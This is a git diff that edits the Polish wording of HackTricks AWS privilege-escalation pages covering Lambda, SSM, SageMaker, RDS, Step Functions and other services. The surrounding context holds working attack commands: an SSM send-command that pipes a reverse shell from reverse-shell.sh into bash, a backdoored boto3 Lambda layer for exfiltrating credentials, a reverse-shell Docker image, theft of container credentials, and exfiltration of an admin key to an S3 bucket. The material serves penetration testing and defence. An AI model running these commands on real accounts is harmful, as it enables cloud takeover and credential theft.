add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` -Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał, aby **zmodyfikować kod istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\ +Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał do **modyfikacji kodu istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\ Napastnik może **zmodyfikować kod lambdy, aby wyeksportować poświadczenia IAM**. -Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie uruchomiona przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu. +Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie wywołana przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -204,11 +204,11 @@ Na przykład, biblioteka boto3 jest ładowana z `/var/runtime/boto3` (4. pozycja Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zamierza zaimportować.** Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, zauważ również, że może być możliwe, że lambda **już używa warstwy** i możesz **pobrać** tę warstwę i **dodać swój kod** tam. -Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z najnowszą wersją biblioteki: +Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z ostatnią wersją biblioteki: ```bash pip3 install -t ./lambda_layer boto3 ``` -Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania powrotnego powłoki na przykład). +Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania odwrotnego powłoki na przykład). Następnie spakuj ten katalog `./lambda_layer` i **prześlij nową warstwę lambda** na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).\ Zauważ, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Ponadto warstwa musi być **kompatybilna z wersją pythona** używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi być w **tej samej strefie:** diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 8de26a773..9883d366d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -65,7 +65,7 @@ aws lightsail open-instance-public-ports \ --instance-name MEAN-2 \ --port-info fromPort=22,protocol=TCP,toPort=22 ``` -**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych portów. +**Potencjalny wpływ:** Dostęp do wrażliwych portów. ### `lightsail:PutInstancePublicPorts` @@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \ ### `lightsail:UpdateBucket` -Dzięki temu uprawnieniu atakujący mógłby przyznać własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich: +Dzięki temu uprawnieniu atakujący mógłby przyznać swojemu własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -115,7 +115,7 @@ aws update-container-service \ ### `lightsail:CreateDomainEntry` -Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, a nawet ustawić główną domenę na swój własny adres IP. +Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na fałszowanie e-maili z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ @@ -125,7 +125,7 @@ aws lightsail create-domain-entry \ ### `lightsail:UpdateDomainEntry` -Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP. +Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na fałszowanie e-maili z domeny, lub nawet ustawić główną domenę na swój własny adres IP. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 55b5e7c36..48f159310 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -27,7 +27,7 @@ aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` -**Potencjalny wpływ:** Dostęp do wrażliwych informacji poprzez nawigację w ActiveMQ +**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych informacji poprzez nawigację w ActiveMQ ### `mq:ListBrokers`, `mq:UpdateBroker` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index 03678172f..33c0cac75 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -16,7 +16,7 @@ Dzięki tym **uprawnieniom** i **dostępowi do VPC, w którym znajdują się bro ```bash aws msk --client-authentication --cluster-arn --current-version ``` -Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia z Kafka publicznie** wystawionym. Jeśli jest publicznie wystawiony, jeśli używane jest **uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\ -Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie wystawiona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenia na dostęp do niej. +Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia przy publicznie udostępnionym Kafka**. Jeśli jest publicznie udostępniony, jeśli używane jest **uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\ +Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie udostępniona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenie na dostęp do niej. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index e96d78fd2..8ee14b8e0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -4,7 +4,7 @@ ## RDS - Relacyjna Usługa Baz Danych -Aby uzyskać więcej informacji o RDS, sprawdź: +Aby uzyskać więcej informacji na temat RDS, sprawdź: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji o RDS, sprawdź: ### `rds:ModifyDBInstance` -Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie w bazie danych: +Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie wewnątrz bazy danych: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,7 +27,7 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Będziesz musiał być w stanie **skontaktować się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci). +> Musisz mieć możliwość **skontaktowania się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci). **Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych. @@ -35,7 +35,7 @@ psql postgresql://:@:5432/ Zgodnie z [**dokumentacją**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) użytkownik z tym uprawnieniem mógłby połączyć się z instancją DB. -### Nadużycie uprawnień roli IAM RDS +### Nadużycie uprawnień roli RDS IAM #### Postgresql (Aurora) @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Jeśli miałeś **surowe dane uwierzytelniające AWS**, mógłbyś również użyć ich do uzyskania dostępu do danych S3 za pomocą: +Jeśli miałeś **surowe poświadczenia AWS**, mógłbyś również użyć ich do uzyskania dostępu do danych S3 za pomocą: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -139,7 +139,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić atakującemu **dostęp do wrażliwych danych** lub modyfikację danych w instancji. +Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to pozwolić atakującemu na **dostęp do wrażliwych danych** lub modyfikację danych w instancji. > [!WARNING] > Instancja DB musi być poza klastrem, aby to zadziałało. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index bd9dee4dd..2be9f6739 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Możliwe jest **zmodyfikowanie hasła głównego** użytkownika postgres (redshit) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem): +Możliwe jest **zmodyfikowanie hasła głównego** użytkownika internal postgres (redshit) z aws cli (myślę, że to są uprawnienia, których potrzebujesz, ale jeszcze ich nie testowałem): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 7f7e82fe2..0b28f6a16 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Atakujący z tymi uprawnieniami do interesujących bucketów może być w stanie przejąć zasoby i eskalować uprawnienia. +Napastnik z tymi uprawnieniami do interesujących bucketów może być w stanie przejąć zasoby i eskalować uprawnienia. -Na przykład, atakujący z tymi **uprawnieniami do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp można przyznać za pomocą następującej polityki: +Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp można przyznać za pomocą następującej polityki: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Na przykład, atakujący z tymi **uprawnieniami do bucketu cloudformation** o na ] } ``` -I możliwe jest przejęcie, ponieważ istnieje **mały czas na przejęcie od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Atakujący może po prostu stworzyć **funkcję lambda** na swoim koncie, która **wywoła się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejmie** **zawartość** tego **koszyka**. +I możliwe jest przejęcie, ponieważ istnieje **mały czas na przejęcie od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Atakujący może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejąć** **zawartość** tego **koszyka**. ![](<../../../images/image (174).png>) @@ -111,7 +111,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 20afeefdc..1aa6b4d4b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -4,7 +4,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` Zacznij tworzyć notatnik z rolą IAM, aby uzyskać do niego dostęp: ```bash @@ -21,7 +21,7 @@ Przejdź do adresu URL w przeglądarce i kliknij na \`Open JupyterLab\` w prawym Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM. -**Potencjalny wpływ:** Privesc do roli serwisowej sagemaker. +**Potencjalny wpływ:** Privesc do roli usługi sagemaker. ### `sagemaker:CreatePresignedNotebookInstanceUrl` @@ -52,13 +52,13 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c Atakujący z tymi uprawnieniami będzie mógł utworzyć zadanie treningowe, **uruchamiając dowolny kontener** z **przypisaną rolą**. W związku z tym atakujący będzie mógł ukraść poświadczenia tej roli. > [!WARNING] -> Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle rev shell lub poświadczenia bezpośrednio do atakującego (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego). +> Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle powłokę rev lub poświadczenia bezpośrednio do atakującego (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego). > > ```bash > # Utwórz obraz dockera > mkdir /tmp/rev > ## Zauważ, że zadanie treningowe będzie wywoływać plik wykonywalny o nazwie "train" -> ## Dlatego umieszczam rev shell w /bin/train +> ## Dlatego umieszczam powłokę rev w /bin/train > ## Ustaw wartości i > cat > /tmp/rev/Dockerfile < FROM ubuntu @@ -90,12 +90,12 @@ aws sagemaker create-training-job \ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` -**Potencjalny wpływ:** Privesc do roli serwisu sagemaker określonej. +**Potencjalny wpływ:** Privesc do roli serwisu sagemaker. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Napastnik z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** na nim z **przypisaną rolą**.\ -&#xNAN;_I nie wykorzystałem, z powodu braku czasu, ale wygląda podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._ +Atakujący z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** z **przypisaną rolą**.\ +&#xNAN;_I nie wykorzystałem, z powodu braku czasu, ale wygląda to podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._ ## Odniesienia diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index 9a995c9cd..aae85b54d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id # Get value ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Dzięki wcześniejszym uprawnieniom możliwe jest **przyznanie dostępu innym podmiotom/kontom (nawet zewnętrznym)** do uzyskania dostępu do **sekretu**. Należy zauważyć, że aby **odczytać sekrety zaszyfrowane** kluczem KMS, użytkownik musi również mieć **dostęp do klucza KMS** (więcej informacji na stronie [KMS Enum](../aws-services/aws-kms-enum.md)). +Dzięki wcześniejszym uprawnieniom możliwe jest **przyznanie dostępu innym podmiotom/kontom (nawet zewnętrznym)** do uzyskania dostępu do **sekretu**. Należy pamiętać, że aby **odczytać sekrety zaszyfrowane** kluczem KMS, użytkownik musi również mieć **dostęp do klucza KMS** (więcej informacji na stronie [KMS Enum](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 652631d83..d168e6eca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź: ### `sqs:AddPermission` -Atakujący mógłby wykorzystać to uprawnienie do przyznania nieautoryzowanym użytkownikom lub usługom dostępu do kolejki SQS, tworząc nowe polityki lub modyfikując istniejące polityki. Może to prowadzić do nieautoryzowanego dostępu do wiadomości w kolejce lub manipulacji kolejką przez nieautoryzowane podmioty. +Atakujący mógłby wykorzystać tę uprawnienie do przyznania nieautoryzowanym użytkownikom lub usługom dostępu do kolejki SQS, tworząc nowe zasady lub modyfikując istniejące zasady. Może to prowadzić do nieautoryzowanego dostępu do wiadomości w kolejce lub manipulacji kolejką przez nieautoryzowane podmioty. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index f56a91be2..07cbf5615 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM. +**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM. ### `ssm:StartSession` -Napastnik z uprawnieniem **`ssm:StartSession`** może **rozpocząć sesję podobną do SSH w instancjach** uruchamiających agenta Amazon SSM i **skompromitować rolę IAM** działającą wewnątrz niej. +Atakujący z uprawnieniem **`ssm:StartSession`** może **rozpocząć sesję podobną do SSH w instancjach** uruchamiających agenta Amazon SSM i **skompromitować rolę IAM** działającą wewnątrz niej. ```bash # Check for configured instances aws ssm describe-instance-information @@ -47,11 +47,11 @@ aws ssm start-session --target "$INSTANCE_ID" > [!CAUTION] > Aby rozpocząć sesję, musisz mieć zainstalowany **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM. +**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM. -#### Podniesienie uprawnień do ECS +#### Privesc do ECS -Gdy **zadania ECS** są uruchamiane z **włączoną opcją `ExecuteCommand`**, użytkownicy z wystarczającymi uprawnieniami mogą użyć `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\ +Gdy **zadania ECS** są uruchamiane z **włączoną opcją `ExecuteCommand`**, użytkownicy z wystarczającymi uprawnieniami mogą używać `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\ Zgodnie z [**dokumentacją**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to poprzez utworzenie bezpiecznego kanału między urządzeniem, którego używasz do inicjowania polecenia “_exec_”, a docelowym kontenerem z SSM Session Manager. (Wtyczka SSM Session Manager jest niezbędna do działania)\ Dlatego użytkownicy z `ssm:StartSession` będą mogli **uzyskać powłokę wewnątrz zadań ECS** z tą opcją włączoną, po prostu uruchamiając: ```bash @@ -72,7 +72,7 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM i rozłączonymi sesjami. +**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM i rozłączonymi sesjami. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) @@ -91,11 +91,11 @@ Atakujący z tym uprawnieniem może wylistować wszystkie **komendy** wysłane i ``` aws ssm list-commands ``` -**Potencjalny wpływ:** Znalezienie wrażliwych informacji w poleceniach. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w liniach poleceń. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Napastnik z tymi uprawnieniami może wylistować wszystkie **polecenia** wysłane i **przeczytać wyniki** generowane, mając nadzieję na znalezienie **wrażliwych informacji** w nich. +Atakujący z tymi uprawnieniami może wylistować wszystkie **polecenia** wysłane i **przeczytać wyniki** generowane, mając nadzieję na znalezienie **wrażliwych informacji** w nich. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index f657ac395..e71b71eff 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -60,7 +60,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -Atakujący z tymi uprawnieniami mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą. +Napastnik z tymi uprawnieniami mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą. > [!WARNING] > Aby nadużyć tych uprawnień w tym przypadku, musisz znać **nazwę polityki zarządzanej przez klienta, która znajduje się we WSZYSTKICH kontach**, które będą miały wpływ. @@ -83,7 +83,7 @@ Zwraca krótkoterminowe poświadczenia STS dla podanej nazwy roli przypisanej do ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -Jednak potrzebujesz tokena dostępu, którego nie jestem pewien, jak zdobyć (TODO). +Jednak potrzebujesz tokena dostępu, którego nie jestem pewien, jak uzyskać (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` @@ -93,13 +93,13 @@ aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -Napastnik z tym uprawnieniem może usunąć uprawnienia z polityki inline z zestawu uprawnień. Możliwe jest przyznanie **większych uprawnień poprzez odłączenie polityki inline (polityka odmowy)**. +Atakujący z tym uprawnieniem może usunąć uprawnienia z polityki inline z zestawu uprawnień. Możliwe jest przyznanie **większych uprawnień poprzez odłączenie polityki inline (polityka odmowy)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index aea0dd82d..f27705d59 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Atakujący z uprawnieniami **`states:CreateStateMachine`** i **`iam:PassRole`** mógłby stworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej techniki privesc (**`states:TestState`** i **`iam:PassRole`**), ta nie wykonuje się sama, będziesz również potrzebować uprawnień **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standardowych przepływów pracy**, **tylko dla maszyn stanów wyrażających**) w celu rozpoczęcia wykonania maszyny stanów. +Atakujący z uprawnieniami **`states:CreateStateMachine`**& **`iam:PassRole`** mógłby stworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej techniki privesc (**`states:TestState`** & **`iam:PassRole`**), ta nie wykonuje się sama, będziesz również potrzebować uprawnień **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standardowych przepływów pracy**, **tylko dla maszyn stanów wyrażających**) w celu rozpoczęcia wykonania maszyny stanów. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Przykłady poniżej pokazują, jak stworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego koszyka S3, wykorzystując te uprawnienia oraz permissywną rolę w środowisku AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów na wykonanie akcji **`iam:CreateAccessKey`** i **`s3:putObject`**. +Przykłady te pokazują, jak stworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego koszyka S3, wykorzystując te uprawnienia oraz permissywną rolę w środowisku AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów na wykonanie akcji **`iam:CreateAccessKey`** i **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -140,18 +140,18 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 Atakujący z uprawnieniem **`states:UpdateStateMachine`** mógłby zmodyfikować definicję maszyny stanów, dodając dodatkowe ukryte stany, które mogłyby prowadzić do eskalacji uprawnień. W ten sposób, gdy legalny użytkownik rozpocznie wykonanie maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem. -W zależności od tego, jak permissywna jest rola IAM związana z maszyną stanów, atakujący napotka 2 sytuacje: +W zależności od tego, jak permissywna jest rola IAM powiązana z maszyną stanów, atakujący napotka 2 sytuacje: -1. **Permisywna rola IAM**: Jeśli rola IAM związana z maszyną stanów jest już permissywna (ma na przykład dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie byłoby wymagane do eskalacji uprawnień, ponieważ nie byłoby konieczne aktualizowanie roli IAM, wystarczy definicja maszyny stanów. -2. **Niepermisywna rola IAM**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący również wymagałby uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie permissywnej roli IAM z maszyną stanów oprócz modyfikacji definicji maszyny stanów. +1. **Permissywna rola IAM**: Jeśli rola IAM powiązana z maszyną stanów jest już permissywna (ma na przykład dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie 